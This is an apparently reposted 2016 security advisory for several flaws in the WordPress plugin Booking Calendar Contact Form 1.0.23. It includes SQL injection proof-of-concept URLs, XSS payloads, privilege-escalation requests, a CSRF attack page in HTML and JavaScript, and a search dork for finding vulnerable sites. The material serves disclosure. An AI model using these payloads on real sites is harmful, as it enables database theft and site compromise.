发布 2016-02-08 漏洞条目

WordPress Plugin Booking Calendar Contact Form 1.0.23 – Multiple Vulnerabilities

Exploit Source

# Exploit Title: Wordpress booking calendar contact form <=v1.0.23 - Unauthenticated blind SQL injection

# Date: 2016-02-08

# Google Dork: Index of /wp-content/plugins/booking-calendar-contact-form

# Exploit Author: Joaquin Ramirez Martinez [ i0 SEC-LABORATORY ]

# Vendor Homepage: http://wordpress.dwbooster.com/

# Plugin URI: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form

# Version: 1.0.23

# Tested on: windows 10 + firefox.

==============

Description

==============

Create a booking form with a reservation calendar or a classic contact form, connected to

a PayPal payment button.

With the **Booking Calendar Contact Form** you can create a **classic contact form** or a

**booking form with a reservation calendar**, connected to a PayPal payment button. The reservation

calendar lets the customer select the start (ex: check-in) and end (ex: checkout) dates.

The **reservation calendar** is an optional item, so it can be disabled to create a **general

purpose contact form**.

There are two types of bookings available in the calendar configuration: full day bookings or

partial day bookings. With full day bookings the whole day is blocked / reserved while in partial

day bookings the start and end dates are partially blocked as used for example in

**room/hotel bookings**.

===================

Technical details

===================

Booking calendar plugin is prone to a blind sql injection because fails to sanitize a

parameter used into a sql statement.

The function ´dex_bccf_get_option´ uses a variable called ´CP_BCCF_CALENDAR_ID´ which is not sanitized

and is used as value for the ´id´ of sql parameter.

The vulnerable function is called into many other functions, and one of those is ´dex_bccf_calendar_load2´

which sets the ´CP_BCCF_CALENDAR_ID´ with the following code:

$calid = str_replace(TDE_BCCFCAL_PREFIX, "", @$_GET["id"]);

if (!defined('CP_BCCF_CALENDAR_ID') && $calid != '-1')

define('CP_BCCF_CALENDAR_ID', $calid);

and then the function ´dex_bccf_get_option´ is called into ´dex_bccf_calendar_load2´ function:

"" ...

$option = dex_bccf_get_option('calendar_overlapped', DEX_BCCF_DEFAULT_CALENDAR_OVERLAPPED);

...

The ´dex_bccf_calendar_load2´ function is called when we request the next url:

http://<wp-host>/<wp-path>/wp-admin/admin-ajax.php?action=dex_bccf_calendar_ajaxevent

&dex_bccf_calendar_load2=list&id=<SQLI commands>

A malicious unauthenticated user can exploit the sql injection and obtain all records from database.

==================

Proof of concept

==================

http://localhost/wordpress/wp-admin/admin-ajax.php?action=dex_bccf_calendar_ajaxevent

&dex_bccf_calendar_load2=list&id=1%20and%20sleep(10)

###############################################################################

# Exploit Title: Wordpress booking calendar contact form <=v1.0.23 - Unauthenticated blind SQL injection

# Date: 2016-02-08

# Google Dork: Index of /wp-content/plugins/booking-calendar-contact-form

# Exploit Author: Joaquin Ramirez Martinez [ i0 SEC-LABORATORY ]

# Vendor Homepage: http://wordpress.dwbooster.com/

# Plugin URI: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form

# Version: 1.0.23

# Tested on: windows 10 + firefox.

==============

Description

==============

Create a booking form with a reservation calendar or a classic contact form, connected to

a PayPal payment button.

With the **Booking Calendar Contact Form** you can create a **classic contact form** or a

**booking form with a reservation calendar**, connected to a PayPal payment button. The reservation

calendar lets the customer select the start (ex: check-in) and end (ex: checkout) dates.

The **reservation calendar** is an optional item, so it can be disabled to create a **general

purpose contact form**.

There are two types of bookings available in the calendar configuration: full day bookings or

partial day bookings. With full day bookings the whole day is blocked / reserved while in partial

day bookings the start and end dates are partially blocked as used for example in

**room/hotel bookings**.

===================

Technical details

===================

Booking calendar plugin is prone to a blind sql injection in the shortcode function ´dex_bccf_filter_content´

because there is not sanitization when the variable ´DEX_BCCF_CALENDAR_FIXED_ID´ is asigned and then is used

into function ´dex_bccf_get_public_form()´.

function dex_bccf_filter_content($atts) {

...

extract(shortcode_atts(array(

'calendar' => '',

'user' => '',

), $atts));

if ($calendar != '')

define('DEX_BCCF_CALENDAR_FIXED_ID', $calendar);

return $buffered_contents;

}

function dex_bccf_get_public_form() {

global $wpdb;

if (defined('DEX_CALENDAR_USER') && DEX_CALENDAR_USER != 0)

$myrows = $wpdb->get_results("SELECT * FROM " . DEX_BCCF_CONFIG_TABLE_NAME . " WHERE conwer=" . DEX_CALENDAR_USER);

else if (defined('DEX_BCCF_CALENDAR_FIXED_ID'))

$myrows = $wpdb->get_results("SELECT * FROM " . DEX_BCCF_CONFIG_TABLE_NAME . " WHERE id=" . DEX_BCCF_CALENDAR_FIXED_ID);

else

$myrows = $wpdb->get_results("SELECT * FROM " . DEX_BCCF_CONFIG_TABLE_NAME);

...

}

==================

Proof of concept

==================

An editor/author can add a ahortcode with his sql command into a post:

[CP_BCCF_FORM calendar=-1 or sleep(10)#]

###############################################################################

# Exploit Title: Wordpress booking calendar contact form <=v1.0.23 - Privilege escalation / stored XSS vulnerabilities

# Date: 2016-02-08

# Google Dork: Index of /wp-content/plugins/booking-calendar-contact-form

# Exploit Author: Joaquin Ramirez Martinez [ i0 SEC-LABORATORY ]

# Vendor Homepage: http://wordpress.dwbooster.com/

# Plugin URI: http://wordpress.dwbooster.com/calendars/booking-calendar-contact-form

# Version: 1.0.23

# Tested on: windows 10 + firefox.

==============

Description

==============

Create a booking form with a reservation calendar or a classic contact form, connected to

a PayPal payment button.

With the **Booking Calendar Contact Form** you can create a **classic contact form** or a

**booking form with a reservation calendar**, connected to a PayPal payment button. The reservation

calendar lets the customer select the start (ex: check-in) and end (ex: checkout) dates.

The **reservation calendar** is an optional item, so it can be disabled to create a **general

purpose contact form**.

There are two types of bookings available in the calendar configuration: full day bookings or

partial day bookings. With full day bookings the whole day is blocked / reserved while in partial

day bookings the start and end dates are partially blocked as used for example in

**room/hotel bookings**.

===================

Technical details

===================

Booking calendar contact form plugin for wordpress is prone to multiple privilege escalation and stored XSS

vulnerabilities because does not verify if a user that make a request for update the plugin options,

add or delete a ´season price´ and add/delete/update an item to booking list is a privileged user and does not

sanitize the supplied information.

An authenticated user can exploit these vulnerabilities.

==================

Proof of concept

==================

1) Add a ´season price´ with XSS Payload in parameter ´price´.

http://<wp-path>/<ap-path>/wp-admin/admin-ajax.php?action=dex_bccf_check_posted_data&dex_bccf=loadseasonprices

&add=1&dex_item=1&price=%3E%22%3Cimg%20src=x%20onerror=alert(/u_r_owned/)%3E%22%3C&dfrom=&dto

2) Delete a ´season price´ with specified ´code´

http://<wp-host>/<wp-path>/wp-admin/admin-ajax.php?action=dex_bccf_check_posted_data

&dex_bccf=loadseasonprices&delete=1&code=1

3) Own a calendars if you have an account like ´suscriptor´ role and inject a XSS payload into ´name parameter´:

http://<wp-hots>/<wp-path>/wp-admin/admin.php?page=dex_bccf.php&u=<my user id>&public=1&owner=1&name=<XSS payload>

4) Update charset of booking calendar tables:

http://<wp-host>/<wp-path>/wp-admin/admin.php?page=dex_bccf.php&ac=st&chs=<my supplied charset>

5) Delete a booking calendar item if you are logged in as suscriptor:

http://localhost/wordpress/wp-admin/admin.php?page=dex_bccf.php&cal=1&list=1&ld=<id of calendar to delete>

6) Unrestricted update options / stored XSS in some parameters ( PoC html )

<html>

<!-- CSRF PoC - generated by Burp Suite i0 SecLab plugin

email_confirmation_to_user,calendar_language,calendar_mode,calendar_pages,currency,cv_text_enter_valid_captcha

and other parameters are vulnerables to stored XSS

url_ok,url_cancel can be used to redirect a user and make fishing attacks

´dex_item´ value is the ´id´ of the calendar.

-->

<body>

function submitRequest()

{

var xhr = new XMLHttpRequest();

xhr.open("POST", "http://localhost:80/wordpress/wp-admin/admin.php?page=dex_bccf.php&cal=1&r=0.5076911114737157", true);

xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");

xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");

xhr.setRequestHeader("Accept-Language", "es-MX,es-ES;q=0.9,es;q=0.7,es-AR;q=0.6,es-CL;q=0.4,en-US;q=0.3,en;q=0.1");

xhr.withCredentials = true;

var body = "dex_bccf_post_options=1&dex_item=1&calendar_enabled=true&selDay_startcal1=&selMonth_startcal1=&selYear_startcal1=&selDay_endcal1=&selMonth_endcal1=&selYear_endcal1=\">\"<img><\"&calendar_pages=2&calendar_language=\">\"<img><\"&calendar_weekday=0&calendar_dateformat=0&calendar_overlapped=false&calendar_showcost=1&calendar_mode=\">\"<img><\"&calendar_mindate=today&calendar_maxdate=\">\"<img><\"&calendar_minnights=%22%3E%22%3Cimg%3E%3C%22&calendar_maxnights=%22%3E%22%3Cimg%3E%3C%22&wd1=1&wd2=1&wd3=1&wd4=1&wd5=1&wd6=1&wd7=1&sd1=1&sd2=1&sd3=1&sd4=1&sd5=1&sd6=1&sd7=1&calendar_fixedreslength=1&calendar_holidays=&calendar_startres=&currency=%22%3E%22%3Cimg%3E%3C%22&request_cost=%22%3E%22%3Cimg%3E%3C%22&max_slots=0&calendar_suplementminnight=%22%3E%22%3Cimg%3E%3C%22&calendar_suplementmaxnight=%22%3E%22%3Cimg%3E%3C%22&calendar_suplement=%22%3E%22%3Cimg%3E%3C%22&calendar_depositenable=0&calendar_depositamount=0&calendar_deposittype=0&dex_dc_price=%22%3E%22%3Cimg%3E%3C%22&dex_dc_season_dfrom=%22%3E%22%3Cimg%3E%3C%22&dex_dc_season_dto=%22%3E%22%3Cimg%3E%3C%22&paypal_email=%22%3E%22%3Cimg%3E%3C%22%40email_here.com&paypal_product_name=%22%3E%22%3Cimg%3E%3C%22&url_ok=http%3A%2F%2Flocalhost%2Fwordpress&url_cancel=http%3A%2F%2Flocalhost%2Fwordpress&paypal_language=%22%3E%22%3Cimg%3E%3C%22&request_taxes=%22%3E%22%3Cimg%3E%3C%22&form_structure=%5B%5B%7B%22name%22%3A%22email%22%2C%22index%22%3A0%2C%22title%22%3A%22Email%22%2C%22ftype%22%3A%22femail%22%2C%22userhelp%22%3A%22%22%2C%22csslayout%22%3A%22%22%2C%22required%22%3Atrue%2C%22predefined%22%3A%22%22%2C%22size%22%3A%22medium%22%7D%2C%7B%22name%22%3A%22subject%22%2C%22index%22%3A1%2C%22title%22%3A%22Subject%22%2C%22required%22%3Atrue%2C%22ftype%22%3A%22ftext%22%2C%22userhelp%22%3A%22%22%2C%22csslayout%22%3A%22%22%2C%22predefined%22%3A%22%22%2C%22size%22%3A%22medium%22%7D%2C%7B%22name%22%3A%22message%22%2C%22index%22%3A2%2C%22size%22%3A%22large%22%2C%22required%22%3Atrue%2C%22title%22%3A%22Message%22%2C%22ftype%22%3A%22ftextarea%22%2C%22userhelp%22%3A%22%22%2C%22csslayout%22%3A%22%22%2C%22predefined%22%3A%22%22%7D%5D%2C%5B%7B%22title%22%3A%22%22%2C%22description%22%3A%22%22%2C%22formlayout%22%3A%22top_aligned%22%7D%5D%5D&sTitle=Email&sShortlabel=&sNametag=%3C%25email%25%3E&sName=email&sSize=medium&sRequired=on&sEqualTo=&sPredefined=&sUserhelp=&sCsslayout=&vs_text_submitbtn=%22%3E%22%3Cimg%3E%3C%22&vs_text_previousbtn=%22%3E%22%3Cimg%3E%3C%22&vs_text_nextbtn=%22%3E%22%3Cimg%3E%3C%22&vs_use_validation=DEX_BCCF_DEFAULT_vs_use_validation&vs_text_is_required=This+field+is+required.&vs_text_is_email=%22%3E%22%3Cimg%3E%3C%22%40mail.com&cv_text_enter_valid_captcha=Please+enter+a+valid+captcha+code.&vs_text_datemmddyyyy=%22%3E%22%3Cimg%3E%3C%22&vs_text_dateddmmyyyy=%22%3E%22%3Cimg%3E%3C%22&vs_text_number=%22%3E%22%3Cimg%3E%3C%22&vs_text_digits=%22%3E%22%3Cimg%3E%3C%22&vs_text_max=%22%3E%22%3Cimg%3E%3C%22&vs_text_min=%22%3E%22%3Cimg%3E%3C%22&cp_cal_checkboxes_type1=0&cp_cal_checkboxes1=&notification_from_email=%22%3E%22%3Cimg%3E%3C%22%40email_here.com&notification_destination_email=%22%3E%22%3Cimg%3E%3C%22%40email_here.com&email_subject_notification_to_admin=%22%3E%22%3Cimg%3E%3C%22&email_notification_to_admin=New+reservation+made+with+the+following+information%3A%0D%0A%0D%0A%22%3E%22%3Cimg%3E%3C%22%0D%0A%0D%0ABest+regards.&cu_user_email_field=email&email_subject_confirmation_to_user=%22%3E%22%3Cimg%3E%3C%22&email_confirmation_to_user=We+have+received+your+request+with+the+following+information%3A%0D%0A%0D%0A%25INFORMATION%25%0D%0A%0D%0A%22%3E%22%3Cimg%3E%3C%22%0D%0A%0D%0ABest+regards.&dexcv_enable_captcha=true&dexcv_width=%22%3E%22%3Cimg%3E%3C%22&dexcv_height=%22%3E%22%3Cimg%3E%3C%22&dexcv_chars=%22%3E%22%3Cimg%3E%3C%22&dexcv_min_font_size=%22%3E%22%3Cimg%3E%3C%22&dexcv_max_font_size=%22%3E%22%3Cimg%3E%3C%22&dexcv_noise=%22%3E%22%3Cimg%3E%3C%22&dexcv_noise_length=%22%3E%22%3Cimg%3E%3C%22&dexcv_background=%22%3E%22%3Cimg%3E%3C%22&dexcv_border=%22%3E%22%3Cimg%3E%3C%22&dexcv_font=font-1.ttf&submit=Save+Changes";

var aBody = new Uint8Array(body.length);

for (var i = 0; i < aBody.length; i++)

aBody[i] = body.charCodeAt(i);

xhr.send(new Blob([aBody]));

}

</script>

</form>

</body>

</html>

==========

CREDITS

==========

Vulnerability discovered by:

Joaquin Ramirez Martinez [i0 security-lab]

joaquin.ramirez.mtz.lab[at]gmail[dot]com

https://www.facebook.com/I0-security-lab-524954460988147/

https://www.youtube.com/channel/UCe1Ex2Y0wD71I_cet-Wsu7Q

========

TIMELINE

========

2016-02-01 vulnerability discovered

2016-02-05 reported to vendor

2016-02-08 released fixed plugin v1.0.24

2016-02-08 public disclosure

作者: i0akiN SEC-LABORATORY
日期: 2016-02-08
类别: webapps
平台: php

相关漏洞条目

Prodigy Commerce 3.3.0 – Local File Inclusion

Langflow 1.3.0 – Remote Code Execution

Quick Playground for WordPress 1.3.1 – Unauthenticated Remote Code Execution

MikroORM 7.0.13 – SQL Injection